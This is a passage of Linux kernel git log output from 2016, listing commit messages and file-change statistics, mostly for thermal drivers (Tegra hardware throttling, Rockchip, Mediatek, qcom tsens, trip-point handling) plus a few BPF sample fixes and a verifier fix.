1 file changed, 15 insertions(+) commit 1955351da41caa1dbf4139191358fed84909d64b Author: Mickaël Salaün Date: Sat Sep 24 20:01:50 2016 +0200 bpf: Set register type according to is_valid_access() This prevent future potential pointer leaks when an unprivileged eBPF program will read a pointer value from its context. Even if is_valid_access() returns a pointer type, the eBPF verifier replace it with UNKNOWN_VALUE. The register value that contains a kernel address is then allowed to leak. Moreover, this fix allows unprivileged eBPF programs to use functions with (legitimate) pointer arguments. Not an issue currently since reg_type is only set for PTR_TO_PACKET or PTR_TO_PACKET_END in XDP and TC programs that can only be loaded as privileged. For now, the only unprivileged eBPF program allowed is for socket filtering and all the types from its context are UNKNOWN_VALUE. However, this fix is important for future unprivileged eBPF programs which could use pointers in their context. Signed-off-by: Mickaël Salaün Cc: Alexei Starovoitov Cc: Daniel Borkmann Acked-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/verifier.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 973d94d8a87c32661f1308a118074972ac5d483a Author: Naveen N. Rao Date: Sat Sep 24 02:10:05 2016 +0530 bpf samples: update tracex5 sample to use __seccomp_filter seccomp_phase1() does not exist anymore. Instead, update sample to use __seccomp_filter(). While at it, set max locked memory to unlimited. Signed-off-by: Naveen N. Rao Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/tracex5_kern.c | 16 +++++++--------- samples/bpf/tracex5_user.c | 3 +++ 2 files changed, 10 insertions(+), 9 deletions(-) commit 2b064fff8527a1052c7060c65c22cae80a9343b9 Author: Naveen N. Rao Date: Sat Sep 24 02:10:04 2016 +0530 bpf samples: fix compiler errors with sockex2 and sockex3 These samples fail to compile as 'struct flow_keys' conflicts with definition in net/flow_dissector.h. Fix the same by renaming the structure used in the sample. Signed-off-by: Naveen N. Rao Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/sockex2_kern.c | 10 +++++----- samples/bpf/sockex3_kern.c | 8 ++++---- samples/bpf/sockex3_user.c | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) commit fdcebf6f18ee87c6da69327c9972d57b8ce58166 Author: Michael Holzheu Date: Mon Sep 26 19:13:04 2016 +0200 s390/config: Enable config options for Docker The following config options are required/recommended for running Docker: Networking: - CONFIG_NF_NAT_MASQUERADE_IPV4=m - CONFIG_NF_NAT_MASQUERADE_IPV6=m - CONFIG_IPVLAN=m - CGROUP_NET_PRIO=y Storage drivers: - CONFIG_DM_THIN_PROVISIONING=m - CONFIG_OVERLAY_FS=m Scheduling: - CONFIG_FAIR_GROUP_SCHED=y - CONFIG_CFS_BANDWIDTH=y Signed-off-by: Michael Holzheu Signed-off-by: Martin Schwidefsky arch/s390/configs/default_defconfig | 11 ++++++++--- arch/s390/configs/gcov_defconfig | 13 ++++++++++--- arch/s390/configs/performance_defconfig | 13 ++++++++++--- 3 files changed, 28 insertions(+), 9 deletions(-) commit 43720df96023b762843e7ddcc319fc99989ba3c2 Author: Srinivas Pandruvada Date: Fri Aug 26 16:21:19 2016 -0700 thermal: int3403: Process trip change notification When ACPI sends notification for trip point change re-read trips and notify thermal core, so that this can be passed to user space thermal controller. Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/thermal/int340x_thermal/int3403_thermal.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 9176ae8668a005b5441604bd1b47eeec07c27d94 Author: Srinivas Pandruvada Date: Fri Aug 26 16:21:18 2016 -0700 thermal: int340x: New Interface to read trip and notify Separated the code for reading trip points from int340x_thermal_zone_add to a standalone function int340x_thermal_read_trips. This standlone interface to read is exported so that int340x drivers can re-read trips on ACPI notification for trip point change. Also the appropriate notification events are sent by int340x driver based on the acpi event using int340x_thermal_zone_device_update(). Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/thermal/int340x_thermal/int3402_thermal.c | 3 +- drivers/thermal/int340x_thermal/int3403_thermal.c | 3 +- .../thermal/int340x_thermal/int340x_thermal_zone.c | 60 ++++++++++++++-------- .../thermal/int340x_thermal/int340x_thermal_zone.h | 6 ++- .../int340x_thermal/processor_thermal_device.c | 3 +- 5 files changed, 48 insertions(+), 27 deletions(-) commit 998d924b712896c540c76c679fc7d53d6a880d5d Author: Srinivas Pandruvada Date: Fri Aug 26 16:21:17 2016 -0700 thermal: user_space gov: Add additional information in uevent Add additional properties: NAME= Thermal zone type TEMP= Temperature sample value TRIP= Violated trip index EVENT= The notification event (new temperature sample, trip violation trip changed) This is the additional information to what kobject_uevent already provides. So it will not impact existing user spaces. Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/thermal/user_space.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 0e70f466fb910ae54c4c71243b99385129e93feb Author: Srinivas Pandruvada Date: Fri Aug 26 16:21:16 2016 -0700 thermal: Enhance thermal_zone_device_update for events Added one additional parameter to thermal_zone_device_update() to provide caller with an optional capability to specify reason. Currently this event is used by user space governor to trigger different processing based on event code. Also it saves an additional call to read temperature when the event is received. The following events are cuurently defined: - Unspecified event - New temperature sample - Trip point violated - Trip point changed - thermal device up and down - thermal device power capability changed Signed-off-by: Srinivas Pandruvada Signed-off-by: Zhang Rui drivers/acpi/thermal.c | 3 ++- drivers/platform/x86/acerhdf.c | 2 +- drivers/regulator/max8973-regulator.c | 3 ++- drivers/thermal/db8500_thermal.c | 2 +- drivers/thermal/hisi_thermal.c | 3 ++- drivers/thermal/imx_thermal.c | 4 ++-- .../thermal/int340x_thermal/int340x_thermal_zone.h | 2 +- drivers/thermal/intel_bxt_pmic_thermal.c | 3 ++- drivers/thermal/intel_soc_dts_iosf.c | 3 ++- drivers/thermal/max77620_thermal.c | 3 ++- drivers/thermal/of-thermal.c | 2 +- drivers/thermal/qcom-spmi-temp-alarm.c | 2 +- drivers/thermal/rcar_thermal.c | 3 ++- drivers/thermal/rockchip_thermal.c | 3 ++- drivers/thermal/samsung/exynos_tmu.c | 2 +- drivers/thermal/st/st_thermal_memmap.c | 3 ++- drivers/thermal/thermal_core.c | 21 +++++++++++++-------- drivers/thermal/ti-soc-thermal/ti-thermal-common.c | 4 ++-- drivers/thermal/x86_pkg_temp_thermal.c | 3 ++- include/linux/thermal.h | 19 +++++++++++++++++-- 20 files changed, 60 insertions(+), 30 deletions(-) commit 040a3eadf00b4993fb215fba1d788c91712401ba Merge: 1f6b088 0744f13 b474303 cbd0f00 Author: Zhang Rui Date: Tue Sep 27 14:03:19 2016 +0800 Merge branches 'thermal-soc', 'thermal-core', 'thermal-intel' and 'thermal-tegra-hw-throttle' into next commit cbd0f00017790caae0107d48ba76b4b768c9448b Author: Wei Ni Date: Wed May 11 18:20:26 2016 +0800 arm64: tegra: set hot trips for Tegra210 Enable throttle function for SOC_THERM. Set "hot" trips for cpu and gpu thermal zones, which can trigger the SOC_THERM hardware throttle. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra210.dtsi | 41 +++++++++++++++++++++++++------- 1 file changed, 32 insertions(+), 9 deletions(-) commit 5e03f663ca6f3cddb6512df07233c71645fb04a7 Author: Wei Ni Date: Wed May 11 18:20:25 2016 +0800 arm64: tegra: set critical trips for Tegra210 Set general "critical" trip temperatures for cpu, gpu, mem and pllx thermal zones on Tegra210, these trips can trigger shut down or reset. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra210.dtsi | 60 ++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) commit e2bed1ebbf258f530cb6e045d9bbb1a1aeca2c5e Author: Wei Ni Date: Wed May 11 18:20:24 2016 +0800 arm64: tegra: add soctherm node for Tegra210 Adds soctherm node for Tegra210, and add cpu, gpu, mem, pllx as thermal-zones. Set critical trip temperatures for them. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra210.dtsi | 44 ++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit f4357938d058af475ed252a691b53d3b371b65f9 Author: Wei Ni Date: Wed May 11 18:20:23 2016 +0800 arm64: tegra: set hot trips for Tegra132 Enable throttle function for SOC_THERM. Set "hot" trips for cpu and gpu thermal zones, which can trigger the SOC_THERM hardware throttle. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra132.dtsi | 41 +++++++++++++++++++++++++------- 1 file changed, 32 insertions(+), 9 deletions(-) commit a6ebde2540e20fd95150aa1ccdd82fcceb49425b Author: Wei Ni Date: Wed May 11 18:20:22 2016 +0800 arm64: tegra: set critical trips for Tegra132 Set general "critical" trip temperatures for cpu, gpu, mem and pllx thermal zones on Tegra132, these trips can trigger shut down or reset. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra132.dtsi | 60 ++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) commit 0fa2bfcd1a0ee2f0465b769f37163b7e7d9c2e50 Author: Wei Ni Date: Wed May 11 18:20:21 2016 +0800 arm64: tegra: use tegra132-soctherm for Tegra132 The Tegra132 has the specific settings for soctherm, so change to use campatible "nvidia,tegra132-soctherm" for it. And adds cpu, gpu, mem and pllx thermal zones. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm64/boot/dts/nvidia/tegra132.dtsi | 36 ++++++++++++++++++++++++++++++-- 1 file changed, 34 insertions(+), 2 deletions(-) commit e12b048c3060975203225b6ebd30a4fe85082bab Author: Wei Ni Date: Wed May 11 18:20:20 2016 +0800 arm: tegra: set hot trips for Tegra124 Enable throttle function for SOC_THERM. Set "hot" trips for cpu and gpu thermal zones, which can trigger the SOC_THERM hardware throttle. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm/boot/dts/tegra124.dtsi | 39 ++++++++++++++++++++++++++++++--------- 1 file changed, 30 insertions(+), 9 deletions(-) commit 40823f8e267f913d15003975429cffb008f98c75 Author: Wei Ni Date: Wed May 11 18:20:19 2016 +0800 arm: tegra: set critical trips for Tegra124 Set general "critical" trip temperatures for cpu, gpu, mem and pllx thermal zones for all Tegra124 platform, these trips can trigger shut down or reset. Tegra124 Jetson TK1 was already set "critical" trips before, so it can overwrite the general values. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui arch/arm/boot/dts/tegra124-jetson-tk1.dts | 18 ++-------- arch/arm/boot/dts/tegra124.dtsi | 60 +++++++++++++++++++++++++++++++ 2 files changed, 63 insertions(+), 15 deletions(-) commit 6c7c324570847a459c21e7298bc5c92a40577103 Author: Wei Ni Date: Wed May 11 18:20:18 2016 +0800 thermal: tegra: add hw-throttle for Tegra132 Tegra132 use CCROC throttle registers to configure pulse skiper, set these registers to enable throttle function for Tegra132. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui drivers/thermal/tegra/soctherm.c | 234 +++++++++++++++++++++--- drivers/thermal/tegra/tegra132-soctherm.c | 17 ++ include/dt-bindings/thermal/tegra124-soctherm.h | 5 + 3 files changed, 226 insertions(+), 30 deletions(-) commit ce0dbf04f685d48ffdec64a17ebb4965f828c3ff Author: Wei Ni Date: Wed May 11 18:20:17 2016 +0800 thermal: tegra: add hw-throttle function Tegra soctherm support HW throttle, when the soctherm snesors' temperature is above the throttle trip point, it will trigger pulse skiper to tune clocks accroding to the throttle depth. Add this function for Tegra124 and Tegra210. Since Tegra132 use different registers to configure pulse skiper, will support it in next patch. Signed-off-by: Wei Ni Signed-off-by: Zhang Rui drivers/thermal/tegra/soctherm.c | 668 +++++++++++++++++++++++++++++- drivers/thermal/tegra/soctherm.h | 10 + drivers/thermal/tegra/tegra124-soctherm.c | 18 + drivers/thermal/tegra/tegra132-soctherm.c | 1 + drivers/thermal/tegra/tegra210-soctherm.c | 18 + 5 files changed, 700 insertions(+), 15 deletions(-) commit 44f3d4170e00debf154e778e7068e5d78c41dd82 Author: Wei Ni Date: Wed May 11 18:20:16 2016 +0800 of: Add bindings of hw throttle for Tegra soctherm Add HW throttle configuration sub-node for soctherm, which is used to describe the throttle event, and worked as a cooling device. The "hot" type trip in thermal zone can be bound to this cooling device, and trigger the throttle function. Signed-off-by: Wei Ni Acked-by: Rob Herring Signed-off-by: Zhang Rui .../bindings/thermal/nvidia,tegra124-soctherm.txt | 121 ++++++++++++++++++++- 1 file changed, 119 insertions(+), 2 deletions(-) commit 1f6b0889d0ea03541be03ccfc8d07deadae98283 Author: Axel Lin Date: Wed Sep 7 17:24:52 2016 +0800 thermal: mtk_thermal: Check return value of devm_thermal_zone_of_sensor_register devm_thermal_zone_of_sensor_register can fail, so check it's return value. Signed-off-by: Axel Lin Reviewed-by: Matthias Brugger Signed-off-by: Zhang Rui drivers/thermal/mtk_thermal.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit b7cf0053738c5491df532a625321e976eaa93b22 Author: dawei.chien@mediatek.com Date: Thu Aug 18 11:50:52 2016 +0800 thermal: Add Mediatek thermal driver for mt2701. This patch adds support for mt2701 chip to mtk_thermal, and integrate both mt8173 and mt2701 on the same driver. MT8173 has four banks and five sensors, and MT2701 has only one bank and three sensors. Signed-off-by: Dawei Chien Signed-off-by: Zhang Rui drivers/thermal/mtk_thermal.c | 215 +++++++++++++++++++++++++++++------------- 1 file changed, 152 insertions(+), 63 deletions(-) commit 77d6e7212cd53dd93de6fab26d7ca89c8d591c07 Author: dawei.chien@mediatek.com Date: Thu Aug 18 11:50:51 2016 +0800 dt-bindings: thermal: Add binding document for Mediatek thermal controller This adds the device tree binding documentation for the mediatek thermal controller found on Mediatek MT2701. Signed-off-by: Dawei Chien Reviewed-by: Keerthy Acked-by: Rob Herring Signed-off-by: Zhang Rui Documentation/devicetree/bindings/thermal/mediatek-thermal.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ec4664b3fd6d565a79eb562e4339528f74eb1cca Author: Laxman Dewangan Date: Tue Aug 23 13:50:27 2016 +0530 thermal: max77620: Add thermal driver for reporting junction temp Maxim Semiconductor Max77620 supports alarm interrupts when its die temperature crosses 120C and 140C. These threshold temperatures are not configurable. Add thermal driver to register PMIC die temperature as thermal zone sensor and capture the die temperature warning interrupts to notifying the client. Signed-off-by: Laxman Dewangan Signed-off-by: Zhang Rui drivers/thermal/Kconfig | 10 +++ drivers/thermal/Makefile | 1 + drivers/thermal/max77620_thermal.c | 165 +++++++++++++++++++++++++++++++++++++ 3 files changed, 176 insertions(+) commit 94c2004ef530a9692ae9f417241eb44a51723c51 Author: Laxman Dewangan Date: Tue Aug 23 13:50:26 2016 +0530 thermal: max77620: Add DT binding doc for thermal driver Maxim Semiconductor MAX77620 supports alarm interrupts when its die temperature crosses 120C and 140C. These threshold temperatures are not configurable. Add DT binding document to details out the DT property related to MAX77620 thermal functionality. Signed-off-by: Laxman Dewangan Acked-by: Rob Herring Signed-off-by: Zhang Rui .../bindings/thermal/max77620_thermal.txt | 70 ++++++++++++++++++++++ 1 file changed, 70 insertions(+) commit 9dfe1a2f9a5a582931e9ecf3efd8dac5e1f89072 Author: Marc Gonzalez Date: Fri Sep 2 15:17:17 2016 +0200 thermal: tango: add resume support When this platform is suspended, firmware powers the entire SoC down, except a few hardware blocks waiting for wakeup events. There is no context to save for this particular block. Therefore, there is nothing useful for the driver to do on suspend; so we define a NULL suspend hook. On resume, the driver initializes the block exactly as is done in the probe callback. Signed-off-by: Marc Gonzalez Reviewed-by: Kevin Hilman Signed-off-by: Zhang Rui drivers/thermal/tango_thermal.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) commit e3da1cbed64a19babe91775e21fcd8887039e711 Author: Shawn Lin Date: Mon Aug 22 16:08:06 2016 +0800 devfreq_cooling: no need to check state with negative number We could see that state is defined as unsigned type, so it should never be less than zero. Let' remove this check. Signed-off-by: Shawn Lin Reviewed-by: Chanwoo Choi Signed-off-by: Zhang Rui drivers/thermal/devfreq_cooling.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d4b23c5c434a7af053782cc0f9eebee51ec71bb2 Author: Bui Duc Phuc Date: Mon Aug 22 03:19:49 2016 +0000 thermal: rcar_thermal: don't call thermal_zone_device_unregister when USE_OF_THERMAL devm_thermal_zone_of_sensor_register() case doesn't need to call thermal_zone_device_unregister(). Otherwise, rcar-thermal can't register thermal zone again after rebind. This patch fixes it. Signed-off-by: Bui Duc Phuc Signed-off-by: Kuninori Morimoto Signed-off-by: Zhang Rui drivers/thermal/rcar_thermal.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7b5c4a0cd48dbdcdf545eff5a214b1862a398784 Author: Zhang Rui Date: Mon Aug 22 15:48:11 2016 +0800 Thermal: of thermal: typo fix Signed-off-by: Zhang Rui drivers/thermal/of-thermal.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eea6a364393736693b2d2c7c10b8b7d194a5ca10 Author: Peter Robinson Date: Wed May 25 14:45:50 2016 +0100 thermal: imx: depend on imx SoC arch Not much use unless the SoC is selected so depend on the ARCH_MXC and COMPILE_TEST like all the other thermal drivers. v2: drop extraneous OF Signed-off-by: Peter Robinson Acked-by: Shawn Guo Signed-off-by: Zhang Rui drivers/thermal/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 809eb35045097bc7da56fa8bba1f6b4cd1b721ba Author: Wei Yongjun Date: Sat Jul 30 06:32:37 2016 +0000 thermal: qcom: tsens: Fix return value check in init_common() In case of error, the function of_iomap() returns NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. And the function devm_regmap_init_mmio() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Acked-by: Rajendra Nayak Signed-off-by: Zhang Rui drivers/thermal/qcom/tsens-common.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5ef62de751dcd21b3853368ab47eedcbc1cf3475 Author: Rocky Hao Date: Wed Jul 27 22:10:43 2016 +0800 thermal: rockchip: optimize sensor auto accessing period In less than 10 ms, the temperature of soc will arise 10 degree. 250 ms is too big for soc tempeture control. Setting 2.5 ms will speed up temperature accessing speed but introduce no more cpu's computing overhead. We set AUTO_PERIOD_TIME and TSADCV3_AUTO_PERIOD_HT_TIME the same value, because normal temperature update speed is also our consern in IPA. Signed-off-by: Rocky Hao Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: Heiko Stuebner Cc: linux-pm@vger.kernel.org Tested-by: Stephen Barber Signed-off-by: Zhang Rui drivers/thermal/rockchip_thermal.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 23f75e4893b488c41a940f730ae7760376e02426 Author: Rocky Hao Date: Wed Jul 27 22:10:42 2016 +0800 thermal: rockchip: enhance the tsadc's bandgap feature for rk3399 Due to the voltage ripple, the sensing data of the tsadc is not accurate. And in this patch, the bandgap feature is enhanced to remove the voltage ripple, and then the tsadc can sense the temperature more precisely. Obsolete codes are removed as well. Signed-off-by: Rocky Hao Signed-off-by: Caesar Wang Cc: Eduardo Valentin Cc: Zhang Rui Cc: Heiko Stuebner Cc: linux-pm@vger.kernel.org Tested-by: Stephen Barber Signed-off-by: Zhang Rui drivers/thermal/rockchip_thermal.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 5b97469a55872a30a0d53a1279a8ae8b1c68b52c Author: Arnd Bergmann Date: Mon Jul 4 15:12:28 2016 +0200 thermal: qcom: tsens-8916: mark PM functions __maybe_unused The newly added tsens-8916 driver produces warnings when CONFIG_PM is disabled: drivers/thermal/qcom/tsens.c:53:12: error: 'tsens_resume' defined but not used [-Werror=unused-function] static int tsens_resume(struct device *dev) ^~~~~~~~~~~~ drivers/thermal/qcom/tsens.c:43:12: error: 'tsens_suspend' defined but not used [-Werror=unused-function] static int tsens_suspend(struct device *dev) ^~~~~~~~~~~~~ This marks both functions __maybe_unused to let the compiler know that they might be used in other configurations, without adding ugly #ifdef logic. Signed-off-by: Arnd Bergmann Reviewed-by: Rajendra Nayak Signed-off-by: Zhang Rui drivers/thermal/qcom/tsens.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 43528445f6db0e934592a0c58b5a71d6be51aa41 Author: Jia Hongtao Date: Thu Jun 30 11:08:38 2016 +0800 thermal: qoriq: Add thermal management support This driver add thermal management support by enabling TMU (Thermal Monitoring Unit) on QorIQ platform. It's based on thermal of framework: - Trip points defined in device tree. - Cpufreq as cooling device registered in qoriq cpufreq driver. Signed-off-by: Jia Hongtao Signed-off-by: Zhang Rui drivers/thermal/Kconfig | 10 ++ drivers/thermal/Makefile | 1 + drivers/thermal/qoriq_thermal.c | 328 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 339 insertions(+) commit 64a411e8042ed00057658000126fd9f2b4105bdd Author: Kuninori Morimoto Date: Tue Jul 19 10:01:37 2016 +0000 thermal: rcar-thermal: enable hwmon when thermal_zone_of_sensor_register is used rcar-thermal is supporting both thermal_zone_of_sensor_register() and thermal_zone_device_register(). But thermal_zone_of_sensor_register() doesn't enable hwmon as default. This patch enables it to keep compatibility Signed-off-by: Kuninori Morimoto Signed-off-by: Zhang Rui drivers/thermal/rcar_thermal.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit e2fa74880987e9d6e3f8dcbff3f3eb260936842f Author: Keerthy Date: Thu Jun 2 14:24:50 2016 +0530 thermal: of-thermal: Fix setting of set_emul_temp hook Currently thermal zone set_emul_temp is set unconditionally with of_thermal_set_emul_temp function. Set this only if the set_emul_temp hook is provided for thermal_zone_of_device_ops. This fixes emul_temp failures on platforms for which set_emul_temp hook is not populated. Fixes: "184a4bf623f (thermal: of: Extend current of-thermal.c code to allow setting emulated temp)" Suggested-by: Eduardo Valentin Signed-off-by: Keerthy Signed-off-by: Eduardo Valentin Conflicts: drivers/thermal/of-thermal.c Signed-off-by: Zhang Rui drivers/thermal/of-thermal.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 1f09ba82fa4bd405f5c656c48d53e076931b4a2d Author: Caesar Wang Date: Wed Jun 22 18:13:57 2016 +0800 thermal: rockchip: fixes the exception interrupts The hardware-tracked trips will set the alarm interrupt value for registers. Then when the thermal zone has no trips to be set, That make the thermal trips callback a over range value. The root cause is the rk_tsadcv2_temp_to_code() function to handle the invalid temperature range is indeed incorrect, let's fix it on now. Otherwise, the thermal alarm interrupt will be triggered all the time on some SoCs. Fox example: localhost tmp # grep thermal /proc/interrupts; sleep 5; grep thermal /proc/interrupts 23: 994830 .. GICv3 129 Level rockchip_thermal 23: 1003423 .. GICv3 129 Level rockchip_thermal Reported-by: Rocky Hao Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: Heiko Stuebner Cc: linux-pm@vger.kernel.org Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/rockchip_thermal.c | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) commit 466678790650a9dff6f107ca09a2f5e6480799e9 Author: Caesar Wang Date: Wed Jun 22 18:13:56 2016 +0800 thermal: rockchip: fixes the period time for tsadc We should increase the period cycles to save power since the rk3399 has the high frequency for tsadc clock. Fixes commit b0d70338bca22cb14 ("thermal: rockchip: Support the RK3399 SoCs in thermal driver") Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: Heiko Stuebner Cc: linux-pm@vger.kernel.org Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/rockchip_thermal.c | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) commit 148485023f2bff19732366789f2badb1cc3ac95b Author: Caesar Wang Date: Wed Jun 22 16:42:05 2016 +0800 thermal: rockchip: add the set_trips function Whenever the current temperature is updated, the trip points immediately below and above the current temperature are found. A sensor driver callback `set_trips' is then called with the temperatures. Lastly, The sensor will trigger the hardware high temperature interrupts to increase the sampleing rate and throttle frequency to limit the temperature rising When performing passive cooling. Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: linux-pm@vger.kernel.org Tested-by: Stephen Barber Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/rockchip_thermal.c | 39 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 897e721037753ca5b843c309d08dfb50387cbe84 Author: Sascha Hauer Date: Wed Jun 22 16:42:04 2016 +0800 thermal: bang-bang governor: act on lower trip boundary With interrupt driven thermal zones we pass the lower and upper temperature on which shall be acted, so in the governor we have to act on the exact lower temperature to be consistent. Otherwise an interrupt maybe generated on the exact lower temperature, but the bang bang governor does not react since The polling driven zones have to be one step cooler before the governor reacts. Signed-off-by: Sascha Hauer Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: linux-pm@vger.kernel.org Acked-by: Peter Feuerer Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/gov_bang_bang.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e78eaf45993a51e5d7120de48aa01f059ffe8d37 Author: Sascha Hauer Date: Wed Jun 22 16:42:03 2016 +0800 thermal: streamline get_trend callbacks The .get_trend callback in struct thermal_zone_device_ops has the prototype: int (*get_trend) (struct thermal_zone_device *, int, enum thermal_trend *); whereas the .get_trend callback in struct thermal_zone_of_device_ops has: int (*get_trend)(void *, long *); Streamline both prototypes and add the trip argument to the OF callback aswell and use enum thermal_trend * instead of an integer pointer. While the OF prototype may be the better one, this should be decided at framework level and not on OF level. Signed-off-by: Sascha Hauer Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: linux-pm@vger.kernel.org Reviewed-by: Keerthy Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/of-thermal.c | 16 +------------- drivers/thermal/qcom/tsens.c | 6 +++--- drivers/thermal/qcom/tsens.h | 4 +++- drivers/thermal/ti-soc-thermal/ti-thermal-common.c | 25 +++++++--------------- include/linux/thermal.h | 2 +- 5 files changed, 16 insertions(+), 37 deletions(-) commit 826386e73193e0b58c6d797fbbab409bc98b1d9c Author: Sascha Hauer Date: Wed Jun 22 16:42:02 2016 +0800 thermal: of: implement .set_trips for device tree thermal zones This patch implements .set_trips for device tree thermal zones. As the hardware-tracked trip points is supported by thermal core patch[0]. patch[0] "thermal: Add support for hardware-tracked trip points". Signed-off-by: Sascha Hauer Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Reviewed-by: Javi Merino Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/of-thermal.c | 19 +++++++++++++++++++ include/linux/thermal.h | 4 ++++ 2 files changed, 23 insertions(+) commit 060c034a974187e930b790957cafc5047cc30a40 Author: Sascha Hauer Date: Wed Jun 22 16:42:01 2016 +0800 thermal: Add support for hardware-tracked trip points This adds support for hardware-tracked trip points to the device tree thermal sensor framework. The framework supports an arbitrary number of trip points. Whenever the current temperature is updated, the trip points immediately below and above the current temperature are found. A .set_trips callback is then called with the temperatures. If there is no trip point above or below the current temperature, the passed trip temperature will be -INT_MAX or INT_MAX respectively. In this callback, the driver should program the hardware such that it is notified when either of these trip points are triggered. When a trip point is triggered, the driver should call `thermal_zone_device_update' for the respective thermal zone. This will cause the trip points to be updated again. If .set_trips is not implemented, the framework behaves as before. This patch is based on an earlier version from Mikko Perttunen Signed-off-by: Sascha Hauer Signed-off-by: Caesar Wang Cc: Zhang Rui Cc: Eduardo Valentin Cc: linux-pm@vger.kernel.org Reviewed-by: Javi Merino Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui Documentation/thermal/sysfs-api.txt | 7 +++++ drivers/thermal/thermal_core.c | 55 +++++++++++++++++++++++++++++++++++++ include/linux/thermal.h | 10 +++++++ 3 files changed, 72 insertions(+) commit 032d4057291e9d017cf50be017cf09b169ff438f Author: Eduardo Valentin Date: Fri Jul 1 18:02:09 2016 -0700 thermal: qcom: remove declare local symbols as static Trivial: remove the following: drivers/thermal/qcom/tsens-8916.c:103:24: warning: symbol 'ops_8916' was not declared. Should it be static? drivers/thermal/qcom/tsens-8996.c:76:24: warning: symbol 'ops_8996' was not declared. Should it be static? drivers/thermal/qcom/tsens-8974.c:235:24: warning: symbol 'ops_8974' was not declared. Should it be static? drivers/thermal/qcom/tsens-8960.c:279:24: warning: symbol 'ops_8960' was not declared. Should it be static? Cc: Zhang Rui Cc: Rajendra Nayak Cc: linux-pm@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/qcom/tsens-8916.c | 2 +- drivers/thermal/qcom/tsens-8960.c | 2 +- drivers/thermal/qcom/tsens-8974.c | 2 +- drivers/thermal/qcom/tsens-8996.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit d059c739aacfbd00606f1b120ceaadb79f05c7e0 Author: Rajendra Nayak Date: Thu May 5 14:21:44 2016 +0530 thermal: qcom: tsens-8996: Add support for 8996 family of SoCs The TSENS controller in 8996 family of SoCs is capable of converting the ADC code outputs to real temperature values (in decidegree Celsius). It can also be programmed to provide raw ADC code, but the secure software on 8996 programs it to provide real temperatures and also does the needed calibrations. We check the valid bit to ensure valid data is read by the AHB master. And the spec recommends the below algorithm to read data 3 consecutive times, which takes care of the worst case delay taken to propagate the updated data to the register. Signed-off-by: Rajendra Nayak Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/qcom/Makefile | 2 +- drivers/thermal/qcom/tsens-8996.c | 84 +++++++++++++++++++++++++++++++++++++++ 